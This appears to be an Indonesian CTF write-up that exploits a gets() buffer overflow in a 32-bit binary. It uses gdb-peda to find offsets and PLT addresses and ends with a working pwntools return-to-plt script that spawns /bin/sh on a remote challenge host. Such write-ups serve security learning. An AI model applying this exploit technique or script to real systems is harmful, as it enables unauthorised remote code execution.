Writeup CTFR Nama-Nama Ikan

Khairu Aqsara Sudirman

Khairu Aqsara Sudirman

Apr 18, 2021 — 8 mins read

Diberikan sebuah service pada alamat 103.157.96.13 dengan port 7782, service tersebut memungkinkan kita untuk menginputkan nama-nama ikan, berdasarkan binary file dan source code yang diberikan, challenge ini terbilang cukup sulit, karena harus memanfaatkan fungsi plt untuk mendapatkan shell, jika dilihat dari source code yang diberikan

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

char * freechar;
void id() {
	system("/bin/id");
}

void get() {
	char buff[56];
	gets(buff);
	printf("Wah ikan %s yang bagus. Terima kasih sudah mengisi survey kami\n", buff);
}
int main() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	freechar = (char*)malloc(512);
	printf("-= Welcome to CTFR =-\n");
	printf("-= Ayo Sebutkan Nama-Nama Ikan =-\n");
	printf("Ketik nama ikan yang anda sukai: ");
	get();
}

Terdapat sebuah variable dengan nama freechar bertipekan pointer char*, yang artinya nantinya dalam memory datanya akan tersimpan pada heap, bukan pada stack, kemudian kita juga bisa melihat terdapat buffer overflow pada bagian gets(buff), artinya dengan memanfaatkan buffer overflow dan return to plt kita bisa mendapatkan shell, pertama cari terlebih dahulu offset yang bisa mem-buffer gets(buff), saya menggunakan pattern create 100 pada gdb untuk mendapatkan offset yang bisa membuffer alamat eip

gdb-peda$ b *main
Breakpoint 1 at 0x804921a
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Breakpoint 1, 0x0804921a in main ()
gdb-peda$ c
Continuing.
-= Welcome to CTFR =-
-= Ayo Sebutkan Nama-Nama Ikan =-
Ketik nama ikan yang anda sukai: 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Wah ikan 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' yang bagus. Terima kasih sudah mengisi survey kami
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x41334141 in ?? ()

Terlihat jika alamat EIP ter-replace dengan nilai 0x41334141, kemudian dilanjutkan dengan perintah pattern search 0x41334141 sehingga kita bisa mendapatkan nilai offset yang dicari untuk memenuhi buffer overflow

gdb-peda$ pattern search 0x41334141
Registers contain pattern buffer:
EDX+52 found at offset: 69
EBX+0 found at offset: 59
EBP+0 found at offset: 63
EIP+0 found at offset: 67
Registers point to pattern buffer:
[ESP] --> offset 71 - size ~30
Pattern buffer found at:
0xffffa9c6 : offset    0 - size  100 ($sp + -0x25ba [-2415 dwords])
0xffffcf39 : offset    0 - size  100 ($sp + -0x47 [-18 dwords])
References to pattern buffer found at:
0xffffcea4 : 0xffffcf39 ($sp + -0xdc [-55 dwords])
0xffffced4 : 0xffffcf39 ($sp + -0xac [-43 dwords])
gdb-peda$ 

dari hasil tersebut kita mendapatkan EIP+0 found at offset: 67 dimana untuk bisa mem-buffer alamat EIP kita membutuhkan inputan sepanjang 67 karakter + 1 sehingga totalnya menjadi 68, ini bisa kita pastikan dengan memeriksa info frame pada gdb

gdb-peda$ info frame
Stack level 0, frame at 0xffffcf84:
 eip = 0x41334141; saved eip = 0x41414941
 called by frame at 0xffffcf88
 Arglist at 0xffffcf7c, args: 
 Locals at 0xffffcf7c, Previous frame's sp is 0xffffcf84
 Saved registers:
  eip at 0xffffcf80

selanjutnya kita harus mencari alamat plt untuk gets dan system, untuk gets kita bisa langsung melihatnya pada fungsi get() dengan melakukan disassamble pada fungsi tersebut

gdb-peda$ pd get
Dump of assembler code for function get:
   0x080491dd <+0>:     push   ebp
   0x080491de <+1>:     mov    ebp,esp
   0x080491e0 <+3>:     push   ebx
   0x080491e1 <+4>:     sub    esp,0x44
   0x080491e4 <+7>:     call   0x80490f0 <__x86.get_pc_thunk.bx>
   0x080491e9 <+12>:    add    ebx,0x2e17
   0x080491ef <+18>:    sub    esp,0xc
   0x080491f2 <+21>:    lea    eax,[ebp-0x40]
   0x080491f5 <+24>:    push   eax
   0x080491f6 <+25>:    call   0x8049040 <gets@plt>
   0x080491fb <+30>:    add    esp,0x10
   0x080491fe <+33>:    sub    esp,0x8
   0x08049201 <+36>:    lea    eax,[ebp-0x40]
   0x08049204 <+39>:    push   eax
   0x08049205 <+40>:    lea    eax,[ebx-0x1ff0]
   0x0804920b <+46>:    push   eax
   0x0804920c <+47>:    call   0x8049030 <printf@plt>
   0x08049211 <+52>:    add    esp,0x10
   0x08049214 <+55>:    nop
   0x08049215 <+56>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08049218 <+59>:    leave  
   0x08049219 <+60>:    ret    
End of assembler dump.
gdb-peda$ 

fungsi plt gets ada pada bagian call  0x8049040 <gets@plt>, kemudian selanjutnya kita membutuhkan alamat plt system, karena idenya adalah kita akan membuffer variable freechar dengan <system@plt> dan memberikan string /bin/sh sebagai argumanya melalui <gets@plt> pada variable freechar, untuk mendapatkan <system@plt> kita bisa menggunakan perintah sederhana objdump -d chal17 | grep plt

 $ objdump -d chal17 | grep plt
 804909b:       e9 80 ff ff ff          jmp    8049020 <.plt>
 80490cd:       e8 ae ff ff ff          call   8049080 <__libc_start_main@plt>
 80491cf:       e8 9c fe ff ff          call   8049070 <system@plt>
 80491f6:       e8 45 fe ff ff          call   8049040 <gets@plt>
 804920c:       e8 1f fe ff ff          call   8049030 <printf@plt>
 8049243:       e8 48 fe ff ff          call   8049090 <setvbuf@plt>
 804925a:       e8 31 fe ff ff          call   8049090 <setvbuf@plt>
 8049271:       e8 1a fe ff ff          call   8049090 <setvbuf@plt>
 8049281:       e8 ca fd ff ff          call   8049050 <malloc@plt>
 8049299:       e8 c2 fd ff ff          call   8049060 <puts@plt>
 80492ab:       e8 b0 fd ff ff          call   8049060 <puts@plt>
 80492bd:       e8 6e fd ff ff          call   8049030 <printf@plt>

dengan begitu kita bisa melihatnya pada bagian call  8049070 <system@plt>, dengan cara ini juga bisa mencari alamat <gets@plt> pada step sebelumnya, hanya saja karena kebetulan sudah terlihat pada fungsi get() jadi tidak perlu lagi. sejauh ini kita sudah mendapatkan alamat <gets@plt> yaitu 0x8049040 dan alamat <system@plt>yaitu 0x8049070, karena dalam kasus ini kita memanfaatkan fungsi plt untuk melakukan exploitasi jenis vulnerablity ini sering disebut dengan istilah Return To Plt, langkah selanjutnya kita membutuhkan alamat dari variable freechar yang nantinya akan kita jadikan sebagai destination dari <gets@plt>, untuk itu kita perlu melakukan disassamble pada fungsi main

gdb-peda$ pd main
Dump of assembler code for function main:
   0x0804921a <+0>:     lea    ecx,[esp+0x4]
   ...
   ...
   0x08049271 <+87>:    call   0x8049090 <setvbuf@plt>
   0x08049276 <+92>:    add    esp,0x10
   0x08049279 <+95>:    sub    esp,0xc
   0x0804927c <+98>:    push   0x200
   0x08049281 <+103>:   call   0x8049050 <malloc@plt>
   0x08049286 <+108>:   add    esp,0x10
   0x08049289 <+111>:   mov    DWORD PTR [ebx+0x34],eax
   0x0804928f <+117>:   sub    esp,0xc
   0x08049292 <+120>:   lea    eax,[ebx-0x1fb0]
   0x08049298 <+126>:   push   eax
   0x08049299 <+127>:   call   0x8049060 <puts@plt>
   0x0804929e <+132>:   add    esp,0x10
   0x080492a1 <+135>:   sub    esp,0xc
   ...
   0x080492d8 <+190>:   ret    
End of assembler dump.
gdb-peda$ 


Jika kita perhatikan source code yang diberikan dan hasil dari disassamble fungsi main, dimana pada source code terdapat freechar = (char*)malloc(512); yang artinya variable freechar di alokasikan pada memori sebesar 512 byte, dan pada hasil disassamble perintah malloc dipanggil pada 0x08049281 <+103>:  call  0x8049050 <malloc@plt> dengan memberikan breakpoint setelah pemanggilan malloc yaitu pada main+111 seharunya kita bisa mendapatkan alamat dari freechar pada register EAX.

gdb-peda$ b *main+111
Breakpoint 1 at 0x8049289
gdb-peda$ r
EAX: 0x804d1a0 --> 0x0 
EBX: 0x804c000 --> 0x804bf08 --> 0x1 
ECX: 0x0 
EDX: 0x200 
ESI: 0xf7fac000 --> 0x1e4d6c 
EDI: 0xf7fac000 --> 0x1e4d6c 
EBP: 0xffffcf88 --> 0x0 
ESP: 0xffffcf80 --> 0xffffcfa0 --> 0x1 
EIP: 0x8049289 (<main+111>:     mov    DWORD PTR [ebx+0x34],eax)

Bila diperhatikan EAX bernilai 0x804d1a0, ini berasal dari [ebx+0x34],eax jika kita ingin memastikan bisa menggunakan perintah x/wx $ebx+0x34

gdb-peda$ x/wx $ebx+0x34
0x804c034 <freechar>:   0x00000000
gdb-peda$ 

karena ELFnya merupakan ELF 32 bit jika kita memanggil sebuah fungsi yang memiliki paramter atau argumen, argumen tersebut akan diambil dari stack, berbeda dengan ELF 64 bit, dimana argumenya diambil dari register, dengan mengikuti aturan tersebut jika kita menggunakan ROP seharunya urutanya fungsi+ret+argumen atau jika kita asumsikan dengan challenge ini bentuknya menjadi <gets@plt>+<system@plt>+freechar(1)+freechar(2), dimana freechar(1) merupakan arguman untuk fungsi <gets@plt> dan freechar(2) merupakan argumen untuk fungsi <system@plt>, jika kita susun dalam bentuk payload dengan informasi yang sudah didapatkan

from pwn import *
context.update(arch='i386', os='linux')
p = remote('103.157.96.13', 7782)
p.recvuntil("Ketik nama ikan yang anda sukai: ")

target = 0x804d1a0
gets = 0x08049040
system = 0x08049070
exploit = "A" * 68 + p32(gets) + p32(system) + p32(target) + p32(target)
p.sendline(exploit)
p.sendline("/bin/sh")
p.interactive()

dan jika dijalankan hasilnya adalah


writeup ctf Reverse
Read More

Writeup CTFR Sekolah CTFR 1 Dan 2

Diberikan sebuah service pada alamat 103.157.96.13 pada port 7773 untuk Challenge Sekolah CTFR #1 dan Sebuah service pada port 7774, untuk Challenge Sekolah CTFR #2. pada kedua service tersebut dapat menginputkan atau melakukan registrasi sebagai siswa baru, seperti menginputkan nama dan id dari siswa, tetapi juga terdapat satu menu yang hanya bisa diakses oleh data yang memiliki akses admin, perbedaan dari Challenge ini yaitu pada Challenge Sekolah CTFR #2 merupakan perbaikan dari Sekolah CTFR #1.